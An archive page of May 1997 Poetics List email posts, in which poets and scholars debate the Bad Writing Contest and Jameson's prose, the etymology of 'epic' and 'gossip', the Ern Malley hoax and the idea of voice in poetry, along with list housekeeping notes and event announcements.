There will be a Web version of the piece, at the ICA web site <http://www.illumin.co.uk/ica/>. This will be online by the date of the performance.

On the same bill, Chinese Artnet will perform: 'The Horse and the Buffalo' "a multi-media piece combining poetry, music and computer generated ideograms..."

ALSO ESSENTIAL in the same season:

Xu Bing

A BOOK FROM THE SKY
+

SQUARE WORDS: NEW ENGLISH CALLIGRAPHY
+
A CASE STUDY IN TRANSFERENCE

24-26 May | 12:00-20:00
Nash and Brandon Rooms
Free with day membership

A rare opportunity to see three works by
Xu Bing, a controversial and acclaimed
Beijing artist, now living in exile in the USA.

A *must* for all poetically-inclined and cross-art grammatologists.

- > John Cayley / Wellsweep Press
http://www.demon.co.uk/eastfield/ 1 Grove End House 150 Highgate Road
London NW5 1PD UK Tel & Fax: ([redacted] Email: [redacted] < - - - - - - - -
- -

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566. **Franklin Bruno**
pardon my iteration
Tue 20 May 1997

Sorry, I (ahem) 'meant' to say something about Chris Mann's comment of a few days ago, but hit 'Queue' by accident. I hope you all charitably assumed this.

Chris Mann wrote, and I repeated:
>meaning is rather a compulsive act of charity bestowed by an audient (not
>the same thing (and it is probably this not-sameness that is poetry
>(voice is just another way of saying oops)))

All I was going to say is that this sounds a lot like Donald (not Daniel) Davidson, or some other philosopher of language who doubts the possibility of accounting for utterer's meaning in terms of linguistic meaning. But the assumption that meaning has nothing to do with intention and everything to do with 'charity' is, to my mind, far too simple. Better to say that meaning comes from a (stunningly) complex relationship between what the speaker/writer 'meant to' say and how the audient interprets the words/conventional signs which the speaker/writer uses for this purpose. Several papers in Paul Grice's -Studies in the Way of Words- are among the more interesting and intellectually honest attempts in recent philosophy to understand this relationship.

The above has more to do with conversation than with the literary text, in which more is up for grabs. But even here, the 'intentional fallacy' is -not- that the

author had some intentions, but that the author's intentions are the final arbiter for what is 'in' the text.

By the way, the 'Bad Writing Contest' Associated Press article reminds me of those filler items that used to appear in -The National Enquirer- describing federally funded scientific studies in shocked-and-amazed terms. "Your Tax Dollars Used To Study Cow Flatulence" and the like. Hey, someone's doing something I don't understand immediately, it must be bullshit!

fjb

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567. **Poetics List**
that ridiculous prize (fwd)
Tue 20 May 1997

---

in the list owners mailbox by mistake...

---------- Forwarded message ----------
Date: Tue, 20 May 1997 02:03:40 -0400 (EDT)
From: Tom Orange <[redacted]>
To: [redacted]
Subject: that ridiculous prize

let's not also forget the ridiculous posturings of self-appointed chief arbiter-of-"bad"-academic-prose, denis dutton. i lurked for quite a while on the phil-lit email list until the strong-arm moderating tactics and frequent theory-bashing began to reflect in less subtle ways the general tenor of the journal which dutton edits, _philosophy and literature_ (a recent issue of which was largely devoted to publishing proceedings from an annual alsc conference).

such talk of theory/jargon as marking "the death throes of english as an academic discipline" -- strangely territorial, nay colonial, for a senior lecturer in the philosophy of art who, if he is responsible for his own copy-editing, can't spell jameson's first name right...

tom orange

>
>The winnerããor loserããof an academics' Bad Writing Contest announced
>Friday was
>Frederic Jameson, a professor of comparative literature at Duke University in
>North Carolina.
>
[snip]
>

>All the entries in the contest were from published academic works. The top
>three offenders were English professors. The judges observed: "This reliance
>on jargon is an indication of the death throes of English as an academic
>discipline."
>
[snip]
>
>The contest showed that academics and major publishing houses have been so
>busy
>using the "magical incantations of jargon, they've forgotten what real
>thinking
>is," said contest judge Denis Dutton, senior lecturer in the philosophy of art
>at Canterbury University in Christchurch.

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568. **Poetics List**

the magical incantations of jargon (fwd)

Tue 20 May 1997

---

d-toe

---------- Forwarded message ----------
Date: Tue, 20 May 1997 02:17:04 -0400 (EDT)
From: Tom Orange <[redacted]>
To: [redacted]
Subject: the magical incantations of jargon

"The visual is essentially pornographic, which is to say that it has its end in rapt, mindless fascination; thinking about its attributes becomes an adjunct to that, if it is unwilling to betray its object; while the most austere films necessarily draw their energy from the attempt to repress their own excess (rather than from the more thankless effort to discipline the viewer)." [Jameson,"Signatures of the Visible"]

```
  the visual is        (list sense
essent, has its              ...to say
  end rapt
fast,   pour no
graphic mind, less
facts:  attributes      ..  think
  becomes an add              porno-gramme?
  junk, that.
fits  unwilling
 to   betray its       ( Thud ... ) dejecta!
```

object, the most
 austere draw
from the attempt:
  own excess / discipled, tempt
  warily repress
mere thankless

". . . there is the private matter of my own pleasure in writing these texts: it is a pleasure tied up in the peculiarities of my 'difficult' style (if that's what it is). I wouldn't write them unless there where some minimal gratification for myself, and I hope we are not yet too alienated or instrumentalized to reserve some small place for what used to be handicraft satisfaction." [Jameson in _Diacritics_ 12]

(thanks for that one, michael)

"To find like old and effaced titles to be given back to the living, here; and there, an entire evocation of types dead in their original idiom but which have not disappeared at all somewhere else..." [Mallarme, "Les Mots Anglais"]

tom orange

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569. **Michael Boughn**
Re: epic redux
Tue 20 May 1997

> *News is gossip [does anyone know the etymology of gossip?]. If no one will be reading M. Parry in 500 it will because his science will have made progress in those years, by standing on his as well as on many other shoulders. So, who's being condescending now?*
>
> *Best,*
> *George*

I assume your question is rhetorical, but I'll answer it anyway: it's from the old English _godsibb_, a person spiritually related to god, having to do with godparents. My point exactly.

Actually, I love classicists and I love that discourse, so I wasn't putting them down at all. They have provided me with much imaginative material over the years. I still read Jane Ellen Harrison and F.M. Cornford with great pleasure (as did H.D. who worked some of their material into her epic, _Helen in Egypt_), tho that shows you how out of touch I am. Sorry if it sounded like I was putting down philology. I think I was still responding to what I found troubling in your original post. My point was not to put down that scholarship, but to assert that it too originates with a Muse.

It's exactly your notion of "progress" that I find problematic, with it's implication that what comes later is somehow closer to truth (in your metaphor that's an upward movement--standing on shoulders, etc.--so we're maybe back to gossip as the embodiment of knowledge).

I see it more as the passage of fashions, as a concurrent thread on this list recently had it. Even the real "sciences" are coming to understand that the accumulation of data leads not to progress but to discontinuous rupture--Thomas Kuhn's proposal about the revolutions in in the cosmologies that found "scientific" thinking. More likely people will read Parry for the "historiography"-- that "back then, because of x conditions, people actually believed this."

Best,
Mike
[redacted]

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570. **Joel Kuszai**
Re: QUESTIONS
Tue 20 May 1997

CHRIS STROFFOLINO - SOME ANSWERS TO YOUR QUESTIONS OK LIKE I'M ABOUT TO

CANADIAN ISSUE OF THE RUSTY WORD IS BEING RECONFIGURED BY SCOTT POUND, WHO BEING FULLY OF CANADIAN BLOOD AND SPIRIT HAS TAKEN IT UPON HIMSELF TO REPRESENT THE ENTIRE NATION. re: MEOW MS. YOU SENT I ONLY REMEMBER ONE BUT IF YOU NEED TWO REJECTION LETTERS I WILL BE HAPPY TO SEND IN DUPLICATE

On Tue, 20 May 1997, Chris Stroffolino wrote:

> *I'll be signing off sometime quite soon...*
> *and once again realized that there's some questions I have about things.*
> *1) JOEL KUSZAI--what ever happened to the OH CANADA issue of that RUSTED ROOD*
> *or whatever it was called?*
> *Just curious. Could you please respond.*
> *Ditto for the two MEOW MS's I sent you....*
> *Just curious. I know you're busy. If Joel's not on anymore, and if anyone*
> *else can help, I'd appreicate it....*
> *2) If anyone wants my new snail mail address, please backchannel me.*
> *3) Does anybody know the HAPPY GENIUS email number...*
> *I gotta contact this person too.*
> *4). Don't worry Doug Messerli about sending the GERTY STEIN awards book. I*
> *broke down and bought it from ROD SMITH...*
> *5) Don't worry GERTY STEIN about sending me the ROD SMITH AWARDS I broke*

> *down*
> *and bought it from JOHN WESLEY HARDING (he's a friend to the poor).*
> *6. Don't worry baby about the Beach Boys they don't worry about the talking heads who don't worry about the government and how it ripped off PHIL and RONNIE SPECTER*
> *7. DOn't worry about the specter of hobgoblins...*
> *8. DO THINK about the specter in ARETHRA FRANKLIN'S REMAKE of "BORDER SONG"*
> *and why she changes the tarpaulin lyric to*
> *"WHAT'S HIS COLOR. DO YOU CARE?"*
> *and I think I had other questions, but can anybody remember them for me.....*
> *chris*

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571. **Joel Kuszai**
notice subject to change
Tue 20 May 1997

I really think that most people subbed to the poetics list are actually "set no mail" and will probably never receive this. It would be interesting to do a roll call.

As the custodial crewman designed to sustain healthy list operations, I feel it is my duty to report the following. I will be leaving Buffalo for the summer and until I get an e-mail address in East Lansing, Michigan, I will be hard to reach via email. My current address will still be functioning and eventually all mail sent to this address will find me in Michigan. I will be able to log in in the interim, via long-distance, in the interim. Perhaps it will be only a few days. I'm not really sure. I've lived in Buffalo since 1992 and one might say that it is my whole world. (not the school, but the city). I hope to get work done on my dissertation and get caught up on the Meow Press activities. If anyone out there lives in the vicinity of East Lansing, or Ann Arbor (I will be researching at the Labadie Collection at U of M) or Detroit, and would like to trade endless poetics gossip, let me know back channel (and be patient for my response may be slow...).

Hopefully there will not be much of a lag in the poetics mop-up I do around here daily. Please, keep short chatterbox messages to a minimum. Backchannel whenever possible. Consider your posts and perhaps write them off-line, posting longer pieces whenever possible. Sorry to nag, but you don't want to ruin it for everyone!

NEW ADDRESS IN BUFFALO

p.o. box 527
Buffalo, NY 14226-0527

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572. **Gwyn McVay**
Re: thedeathofthekennethauthorangertrashtalktrashtalk
Tue 20 May 1997

Excuse me, young man, you seem to be taking quite a frivolous attitude. I, for one, was quite offended by the naked, pregnant James Galvin depicted on the cover of /Ploughshares/ a few issues back.

On Tue, 20 May 1997, Chris Stroffolino wrote:

> *Yeah, and the worst think about it is that I hear MARVIN BELL had the audacity to sign MARJORIE PERLOFF'S NAME to an article in which the death of the author is invoked to justify play (AS LONG AS IT ISN'T IN MY BACK YARD---see Derrida for practice/preach dualism "reinscribed") in which the UNAMBOMBER fesses us to being FOREST GUMP i mean gander and the pen that wrote YASUDA is found in the home of PAUL HOOVER while the swan falls into the firebird and none of the big publishers like my idea for a coffee table book called PIGEONS (go figure).*
> *signed, the geisha girl on skis.....*

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573. **Maria Damon**
Re: Jameson's Prose
Tue 20 May 1997

---

i didn't mean humanist as a putdown. just thought it important to point out that the judge was not exactly the "everyman" he was being justified as, but rather someone from jameson's own neck of the woods who obviously felt he had a mission to clean up his territory and rescue it from scary young turks. i.e. he's a professional scholar, just like jameson, and the degree of generational ressentiment runs high here.

At 11:40 PM -0700 5/19/97, Mark Baker wrote:
>I want to understand Jameson's sentence. Calling the contest's
>judge a "humanist" or sniffing ideological bias--both true, as
>I know from another List--still does not help me make more than
>vague sense of Jameson's sentence. Nor does Michael Corbin's
>defense help:
>
>

>> Self-referentiality and/or re-ificaiton do not necessarily mean
>> quiesence or abjection. 'Re-ification' in particular for Jameson is what
>> he calls the 'meditory code' (following Lukacs) that he writes *in* not
>> *of*. Pebbled perhaps, but more like a Hansel and Gretel minima moralia.
>> A trail surreptitiously left to find one's way out of the forest. That
>> is if one believes in that particular hope of escape, that particulare
>> 'persistence of the dialectic'.
>
>
>Not enough trail here for me, although, as with reading Jameson's
>sentence, I can vaguely see where I am. I read posts here that unabashedly
>paraphrase difficult poems. So can those who attacked the
>Bad Writing Contest and defended Jameson explain his *sentence*?
>
>
>"The visual is essentially pornographic, which is to say that it has its
>end in
>rapt, mindless fascination; thinking about its attributes becomes an
>adjunct to
>that, if it is unwilling to betray its object; while the most austere films
>necessarily draw their energy from the attempt to repress their own excess
>(rather than from the more thankless effort to discipline the viewer)."
>
>
>You don't need to rehash Jameson's theory or its aims. Assume I'm
>willing to sympathize with his dialectic, have read his own defense
>(in _Marxism and Form_) of the prose he claims to imitate, and know that
>your explanation will lose the poetry in the translation. My guess, however,
>is that some of your explanations will lose nothing, do better what
>Jameson intended to do, and show that at least in this sentence he
>wrote very badly.
>
>Lucidly,
>Mark Baker

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574. **Mark Prejsnar**
Re: 'whose' 'voice'?
Tue 20 May 1997

About Malley and his creators (see quote below)--

Well, yes, their intention WAS to pass off something they considered rubbish...The point was to badly embarrass Max Harris and "demonstrate" that the surrealist-influenced work he wrote and championed, because it was not more conservative in form, tone and intention, had no *fixed point* from which good and bad could be discerned. You have to remember just HOW conservative (in most senses) the mileu was, in which all of this was taking place. In the final analysis, the hoaxers seem to have kind of wanted to demolish Harris publicaly, yet not really wanted him to precisely go away or to be personally devastated. In the event, he WAS devastated and quit writing poetry and being involved in the poetry world in large part, and the Australian state (to the horror of the hoaxers) was stimulated by the publicity to try Harris and his magazine for obscenity (on the grounds of the mildest imaginable incidental erotic references in poems whose point was not erotic at all...the prosecution was truly something out the 19th century). And yes, the fact that many people continue to admire the poems the hoaxers produced in one afternoon to "demonstrate" that surrealist-tinged work was silly, has been considered by many to have been a kind of "failure" for the hoax..Its immediate impact was both wildly successful and complexly unsuccessful...in that the hoaxers seem genuinely not to have wanted to cause as much personal pain and persecution for Harris and several of his associates, as they did.

People should read Malley's poems, by the way. Apart from being very interesting and rather good in a weird way, they make one point clear: Just what was at stake **then** cannot be easily recovered in any immediate sense for us in the U.S. today...I mean these "outrageous" surrealist/modernist texts are **pretty mild**....I shudder to think what the Australians of that time would have done if confronted with Clark Coolidge or Susan Howe...As for work that existed in 1942, well Zukofsky and Stein and such simply were not part of the same universe; most of the principles in the case would have agreed that such work was beyond the pale! Not that there aren't losts of important parallels to Yasusada and other contemporary events, parallels that are geniunely interesting and important...But the precise battle of modernists and anti-modernists that was the original origin of the Malley affair, is very distant from our own time and place.

Mark P.
Atlanta

On Mon, 19 May 1997, Jordan Davis wrote:

> *I've never understood the idea that Ern Malley "backfired." I thought the point of the hoax was that it was possible for two clever jokers to do much _better_ at modernism by _not_ taking it seriously than one serious determined dilletante could by turning his whole 'vegetative eye' to it. The invention of the poet only works if the poems "work". If the point was to pass rubbish off as great, then whoops! I admired something hateful.*

> *Cleaning my shoe,*
> *Jordan*

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575. **George Thompson**
Re: epic redux
Tue 20 May 1997

> *It's exactly your notion of "progress" that I find problematic, with it's implication that what comes later is somehow closer to truth (in your metaphor that's an upward movement--standing on shoulders, etc.--so we're maybe back to gossip as the embodiment of knowledge).*
>
> *I see it more as the passage of fashions, as a concurrent thread on this list recently had it. Even the real "sciences" are coming to understand that the accumulation of data leads not to progress but to discontinuous rupture--Thomas Kuhn's proposal about the revolutions in in the cosmologies that found "scientific" thinking. More likely people will read Parry for the "historiography"-- that "back then, because of x conditions, people actually believed this."*
>
> *Best,*
> *Mike*

Mike,

You will never see me marching in any parade for progress. I actually like Kuhn, paradigm shifts, and all that. My metaphor about shoulders is actually a *cliche* intended to express a little humility, a gesture of respect, toward a scholar who has changed the way that some of us, at least, see epic. Presumably such gestures can be made without being scientistic. I don't want to be steered into making absolute statements about anything so large as "truth"....

Actually, in many ways my views are more like yours than they are like those of classicists [insofar as classicists tend to share views of poetics].

But let's take a closer look at your last remark about the historiographical interest that people might have in Parry in 500 yrs. Two things. My first reaction to the question of what people will be reading then is that they probably won't be reading at all [and I'm not saying that *that* would be progress, or not]. But since I myself have no interest in anybody's "imperishable fame", it didn't seem to me to matter, either way.

But yr. remark suggests to me that in 500 yrs people will have *only* an historical interest in scholars like Parry ["back then, because of x conditions, people

actually believed this..."]. The remark implies that in fact you *don't* view all fashions as equally "news". Some beliefs, tied to some time and place now remote and forgotten, actually will die. So perhaps we both operate with some vague notion of "progress" after all?

Except, I think that ultimately all beliefs will die [this is the long view that I picked up from the Upanishads].

From here on I will try to stick to poetics.

Begging the list's indulgence [I'll try not to take up so much of your time], and btw thanks for the generous welcome.

George

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576. **Matthias Regan**

Re: Jameson's Prose

Tue 20 May 1997

> *My guess, however,*
> *is that some of your explanations will lose nothing, do better what*
> *Jameson intended to do, and show that at least in this sentence he*
> *wrote very badly.*

I wanted to do this, but each time I re-read Jameson's sentence I felt that much less capable.

109. ...And we may not advance any kind of theory. There must not be anything hypothetical in our considerations. We must do away with all *explanation*, and a description alone must take its place. And this description gets its light, that is to say its purpose, from the philosophical problems. These are, of course, not empirical problems; they are solved, rather, by looking into the workings of our language, and that in such a way as to make us recognize those workings: *in despite of* an urge to misunderstand them. The problems are solved, not by giving new information, but by arranging what we have always known. Philosophy is a battle against the betwitchment of our intelligence by means of language.

115. A *picture* held us captive. And we could not get outside it, for it lay in our language and language seemed to repeat it to us inexorably.

126. ...--Since everything lies open to view there is nothing to explain. For what is hidden, for example, is of no interest to us.

Philosophical Investigations I, L. Wittgenstein, Trans. G.E.M. Anscombe (Macmillan, NY: 1958)

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577. **aerialedge**
Re: Jameson's Prose
Tue 20 May 1997

Calling the contest's
>judge a "humanist" or sniffing ideological bias--both true, as
>I know from another List--still does not help me make more than
>vague sense of Jameson's sentence.

Seems to me the main point about all this is that it emanated from associated press-- this is not the place to go for a good cup of context.

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578. **Pierre Joris**
Re: epic redux
Tue 20 May 1997

Reading Ken Irby right now these "definitions" of his seem to feed into the thread:

lyric: "The continuous metaphor of a feeling"
epic: "The metaphor of an intellectual point of view"

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

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579. **Daniel Tessitore**

Re: He does the List in Diff'rent V'ices

Tue 20 May 1997

Oops--apologies to Dodie...

DT

From: [redacted][SMTP:[redacted]]
Sent: Monday, May 19, 1997 12:28 AM
To: [redacted]
Subject: He does the List in Diff'rent V'ices

> *Date: Sat, 17 May 1997 12:49:32 +-900*
> *From: Daniel Tessitore <[redacted]>*
> *Subject: Re: Kara Walker's "voice"*
>
> *rsilliman wrote:*
>
> *Many of the criticisms of voice poetry "voiced" here were about how the point of it is to make the "I" sound deep. We're not really supposed to share the epiphany, we're supposed to marvel at the epihaner. But, I think the non-I in many "language-centered" works is just as manipulative and transparent. Instead of an emotional epiphany we're lead to an intellectual epiphany--and in the worst scenerio what we're really supposed to marvel at is the smarts of the non-I who's generating this text.*
>
> _____
>
> *Thanks for crystallizing this so well.*

You're welcome. But I didn't write that. Dodie did.

Sincerity is not about exposing the writer's soul, sincerity is a tone, an
>effect." The presence of the author, to me, would only make the experience
>of "abandonment" more sexy.

I agree completely.

As I'm sure, you'll agree, Ron, a well-constructed theory
>book can be most thrilling.

"There is nothing better than a theory." C. Harryman

The problem with the book (aside from the fact
>that the writers didn't seem to have any ideas) was the clumsy use they
>made of theory buzz words. For instance, when they were talking about
>Brook's and Barney's tendency to adopt the clothing of male dandies, the
>writers would consistently refer to this as their "sartorial strategies."

>After a while the point of the chapter seemed really to be how many
>different ways they could work in their buzz-baby "sartorial strategies."
>Not that one should never write "sartorial strategies," but in some cases,
>"cross dressing," a term which seemed to scare them, would have been less
>awkward. The writers, to me, seemed pretentious, but more than that to be
>terribly insecure, lacking confidence in what they were saying. If they
>were less sincere, more into creating effects, I think the book might have
>worked better.
>

No room for "gender fuck"? It sounds like yet another instance of under- editing, a phenomenon that is the true intellectual movement of our time vis a vis critical writing.

Ron

Ron Silliman When this you see
262 Orchard Road Remember me
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

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580. **Daniel Tessitore**
Re: voice & refrain and...
Tue 20 May 1997

For about a year now, and especially since the 'voice' thread began, I've been mulling over what seems to be/have been a surge in the use of 'dramatic monologue.' In the past few years I've seen what seems to be a proliferation of books with 'characters,' often enough set in specific historic periods. Right away Voigt's "Kyrie" comes to mind, a book which is if I'm not mistaken a semi-epistolary sonnet series based in the post-WWI Spanish flu-pandemic.

My question to the list is, if there is a surge in the first place, what if anything does it represent with regards to attitudes about 'voice,' 'speaker,' the value placed on personal experience,...? Is it a kind of backlash against the private world(s) of poets, or a fumbling around for new 'subjects'...?

Any thoughts?

DT

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581. **Mark Weiss**
epic redux/etymology
Tue 20 May 1997

I'd like to propose a new term for the list's consideration:

the etymological fallacy--a. that two words wrom the same root continue to mean the same thing.
b. that a word retains the meaning of its root.

Here's a recent example of a.: sensible and sensitive. Example: "I was starving, your honor. In my situation stealing your wife's purse was the sensible thing to do." Substitute sensitive.

And here's an example of b.: epic as gossip.

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582. **David Israel**
Re: epic redux/etymology
Tue 20 May 1997

---

regarding Mark Weiss's . . .
>And here's an example of b.: epic as gossip.

well if there's an opening for an epic columnist, let me know

d.i.

p.s.: last night, happily caught the made-for-TV production of the gab from that epic-monger, Homer --

p.p.s.: question for George T. -- is your "Vedic" research primarily focused on (a) what are usually called the Vedic Hymns? -- or might it also include (b) the (I believe somewhat later & various) body of Upanishadic material? (which presumably are also "Vedic"(?) -- though, in Hinduism, distinquished as "Vedanta"). There'd be quite a difference between (a) & (b) -- from what I've seen in translation & discussion. If inclusive of the Upanishads, then your focus would include a good bit of narrative and storytelling and conversational utterance & philosophical statement; but if more strictly dealing with the former, then the focus would largely (so far as I know) center on (what's sometimes called) "vatic" utterance: mantric invocation of all the various divine figures and celebration of their attributes . . . . -- The distinction seems of interest, in context of some of these ongoing discussions.

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583. **Mark Wallace**

Cydney Chadwick's work

Tue 20 May 1997

I'd like to second the positive notice of Cydney Chadwick's new chapbook from 3300 Press, INTERIORS. Cydney has quietly but surely been building up quite a collection of short fictions remarkable for their precision and cunning. Her work frequently features characters put through a process of destabilization which would be easy to miss because of the apparent but deceptive straightforwardness of their narrative surface. This attention to surface and its destabilization reminds me of the work of Lydia Davis. Cydney is able to take seemingly ordinary situations and invest them with sinister angles and a sense, almost, of the existential--the characters find themselves removed from the terms of their own ordinary understandings of the world. Some of the stories feature minor grostequeries which shock not so much because of their oddness but because they finally do not seem odd. I highly recommend this new book--check out the story of what happens to people who come to the hotel where Kleist and a friend committed suicide.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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584. **George Thompson**

Re: epic redux/etymology

Tue 20 May 1997

> *I'd like to propose a new term for the list's consideration:*
>
> *the etymological fallacy--a. that two words wrom the same root continue to mean the same thing.*
> *b. that a word retains the meaning of its root.*
>
> *Here's a recent example of a.: sensible and sensitive. Example: "I was starving, your honor. In my situation stealing your wife's purse was the sensible thing to do."*
> *Substitute sensitive.*
>
> *And here's an example of b.: epic as gossip.*

A good proposal, Mark, but not a new one, at least for us philologists, who wrestle with this fallacy all the time. But it calls for some precision.

Now, if I had argued that the Greek word "epos" means "hymn" *merely* because its Vedic cognate "vacas" means "hymn -- *that* would be an example of the etymological fallacy, type b. But how do you find out whether this is actually a fallacy or not? Well, a philologist would go straight to the relevant texts themselves, and closely examine the contexts in which the word "epos" occurs, say in Homer, or Aristotle, or even the scholiasts.

You know what? A philologist who did that would find that in fact the word "epos" *can* mean something like "hymn" sometimes [e.g., in Homer, Pindar]. In the scholiasts the word "epos" is used to introduce Homeric passages [so it means "epic words" there], but also Homeric hymns [therefore "hymn" also]. So sometimes etymological "fallacies" can lead to historical truths.

But your example b is not an etymological fallacy, type b. There is no etymological relationship between "epic" and "gossip", and none was claimed. What I was suggesting with my rhetorical question [yes, MB, you read it right] was that the suggestion "epic" = "gossip" might be less irritating if we considered the earlier sense of "gossip". "Godsibb" also had to to with midwives and their secondary function of bringing the news, which by the way is how the word got its negative connotations -- "women's epic" [as a philologist, I checked this out in the OED].

Has the meaning of the word "gossip" changed over the centuries? Sure. But I'd like to change it yet again [in a circle]. And I would recommend a new, popular book: "Grooming, Gossip, and the Evolution of Language" by Robin Dunbar [who by the way did not take advantage of the word's etymology].

Epic is gossip, gossip is epic. My mantra for now.

George

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585. **David Golumbia**

Re: epic redux/etymology

Tue 20 May 1997

In philosophical/rhetorical theory this is known as the "genetic fallacy" -- that the origin of a word is necessarily related to its current usage -- & goes back at least as far as Wimsatt/Beardsley (you know, the "pathetic fallacy," etc. etc.). There are others but I'm too witless at the moment to make up ones funny enough to pass my internal censor.

> *I'd like to propose a new term for the list's consideration:*

> *the etymological fallacy--a. that two words wrom the same root continue to mean the same thing.*
> *b. that a word retains the meaning of its root.*

--
[redacted]
David Golumbia

↑ Index

586. **Mark Weiss**
Re: epic redux/etymology
Tue 20 May 1997

---

c. two words seen as related because, although they come from different roots, they once meant different things than they do now; these earlier meanings, because they may converge, might lead an observer to think that their meanings are still related. When such a relationship is stated baldly it tends both to obscure meaning and to discount the historical trajectory of the terms by favoring a presumed origin.

Thanks for helping me be more precise.

At 03:44 PM 5/20/97 -0400, you wrote:
>>I'd like to propose a new term for the list's consideration:
>>
>>the etymological fallacy--a. that two words wrom the same root continue to
>>mean the same thing.
>>b. that a word retains the meaning of its root.
>>
>>Here's a recent example of a.: sensible and sensitive. Example: "I was
>>starving, your honor. In my situation stealing your wife's purse was the
>>sensible thing to do."
>>Substitute sensitive.
>>
>>And here's an example of b.: epic as gossip.
>
>A good proposal, Mark, but not a new one, at least for us philologists, who
>wrestle with this fallacy all the time. But it calls for some precision.
>
>Now, if I had argued that the Greek word "epos" means "hymn" *merely*
>because its Vedic cognate "vacas" means "hymn -- *that* would be an example
>of the etymological fallacy, type b. But how do you find out whether this
>is actually a fallacy or not? Well, a philologist would go straight to the
>relevant texts themselves, and closely examine the contexts in which the

>word "epos" occurs, say in Homer, or Aristotle, or even the scholiasts.
>
>You know what? A philologist who did that would find that in fact the word
>"epos" *can* mean something like "hymn" sometimes [e.g., in Homer, Pindar].
>In the scholiasts the word "epos" is used to introduce Homeric passages
>[so it means "epic words" there], but also Homeric hymns [therefore "hymn"
>also]. So sometimes etymological "fallacies" can lead to historical
>truths.
>
>But your example b is not an etymological fallacy, type b. There is no
>etymological relationship between "epic" and "gossip", and none was
>claimed. What I was suggesting with my rhetorical question [yes, MB, you
>read it right] was that the suggestion "epic" = "gossip" might be less
>irritating if we considered the earlier sense of "gossip". "Godsibb" also
>had to to with midwives and their secondary function of bringing the news,
>which by the way is how the word got its negative connotations -- "women's
>epic" [as a philologist, I checked this out in the OED].
>
>Has the meaning of the word "gossip" changed over the centuries? Sure.
>But I'd like to change it yet again [in a circle]. And I would recommend a
>new, popular book: "Grooming, Gossip, and the Evolution of Language" by
>Robin Dunbar [who by the way did not take advantage of the word's
>etymology].
>
>Epic is gossip, gossip is epic. My mantra for now.
>
>George
>
>

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587. **Mark Weiss**
Re: epic redux/etymology
Tue 20 May 1997

Thanx for the tip. For my next trick I'll invent the wheel.

At 03:54 PM 5/20/97 -0400, you wrote:
>In philosophical/rhetorical theory this is known as the "genetic fallacy"
>-- that the origin of a word is necessarily related to its current usage
>-- & goes back at least as far as Wimsatt/Beardsley (you know, the
>"pathetic fallacy," etc. etc.). There are others but I'm too witless at
>the moment to make up ones funny enough to pass my internal censor.

>
>
>> >I'd like to propose a new term for the list's consideration:
>> >
>> >the etymological fallacy--a. that two words wrom the same root continue to
>> >mean the same thing.
>> >b. that a word retains the meaning of its root.
>
>
>--
>[redacted]
>David Golumbia
>
>

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588. Tenney Nathanson

grubby and querulous techno query; quick happy Bromige visit note

Tue 20 May 1997

---

1. I'm getting POETICS via DIGEST again. But this time around, the broken lines between messages no longer show up. The lists I get in DIGEST form here at Arizona (I mean the ones emanating from the Arizona listerv) still have the lines between messages to make it easy to tell one message from another (as POETICS used to); but POETICS is all run together, making it pretty confusing to follow the day's posts.

Is this fixable? Or am I the only one w the problem?

I read poetics via Eudora Pro.

2. on a much happier note: POG, kind of the Tucson local chapter of POETICS, recently sponsored (barely: it was pretty much pro bono on David's part) a really wonderful mini-residency by David Bromige (hi David): terrific talk on how poems (might) get generated, wonderful reading the next day; general good talk all around.

So thanks to David for the terrific poetry stint!

--Tenney

---

tenney nathanson

[redacted]
[redacted]

http://www.u.arizona.edu/~nathanso/

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589. **Joseph Duemer**
Re: epic redux/etymology
Tue 20 May 1997

Re: genetic fallacy / etymological fallacy: It's been a long time since I read Heidegger's _Poetry, Language, Thought_, but doesn't H. make central use of "etymological reasoning"? I'm not defending the procedure, just asking. As I reacll, H. engages in what feels to me like a sort of lingusitic mysticism based on etymology. _____

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"To think, not to dream, that is our duty."
Van Gogh to his brother

↑ Index

590. **Joseph Zitt**
Re: More Poetry & the Public Sphere Conf Summary (LONG)
Tue 20 May 1997

---

henry wrote:
>
> On Mon, 5 May 1997 11:21:06 -0400 Brian McHale said:
> >And she quoted the rabbis (but which one?): "It is not incumbent on
> you to fin-
> >ish the task. Nor are you free to give it up."
> Wasn't that Rabbi Franz K. of Prague?

In case no one has answered this: it's Rabbi Tarfon, as quoted in Pirkei Avot 2:20. (The book can be found in English variously as "Sayings of the Fathers" or "Ethics of the Fathers" or, in Rami Shapiro's beautiful recent translation, as "Wisdom of the Jewish Sages".

-- ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt =====
[redacted] ===== Human Systems \||| ||/ Austin, Texas! ==========
SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt ==
<*> <*> == Empty Words == ecto \|

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591. Dan Raphael Dlugonski

Things that make you go 'hmm'

Tue 20 May 1997

One of Portland's 2 recent winner of poetry fellowships from NEA, Michelle Glazer (a splendid person and talented poet), was a recent student & protege of Jorie Graham, who was one of the NEA judges.

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592. Tom Orange

Jameson's Prose

Wed 21 May 1997

Mark Baker <[redacted]> wrote:
> So can those who attacked the Bad Writing Contest and defended Jameson
> explain his *sentence*?

i'm not especially in favor of defending jameson or explaining his sentence when it's ripped out of context and made to stand synecdochally for something deemed "bad writing" by a group of self-appointed judges whose "contest" serves merely to assuage their hostilities and fears with presumptuous academic yuk-yuks.

rather, i would want to read on, find out exactly what "the visual" might be, how it might be "unwilling to betray its object," what are some of "the most austere flims," etc. and if after putting in a certain amount of labor the ideas aren't doing anything for me, i put the book away with, as dodie i think said the other day, so much other dejecta....

or cut up that first sentence and make a pome outta it.

the visual is
essent, has
its end rapt
fast, pour...

tom orange

↑ Index

593. **Jocelyn Emerson**
Re: Things that make you go 'hmm'
Wed 21 May 1997

> *One of Portland's 2 recent winner of poetry fellowships from NEA, Michelle Glazer (a splendid person and talented poet), was a recent student & protege of Jorie Graham, who was one of the NEA judges.*

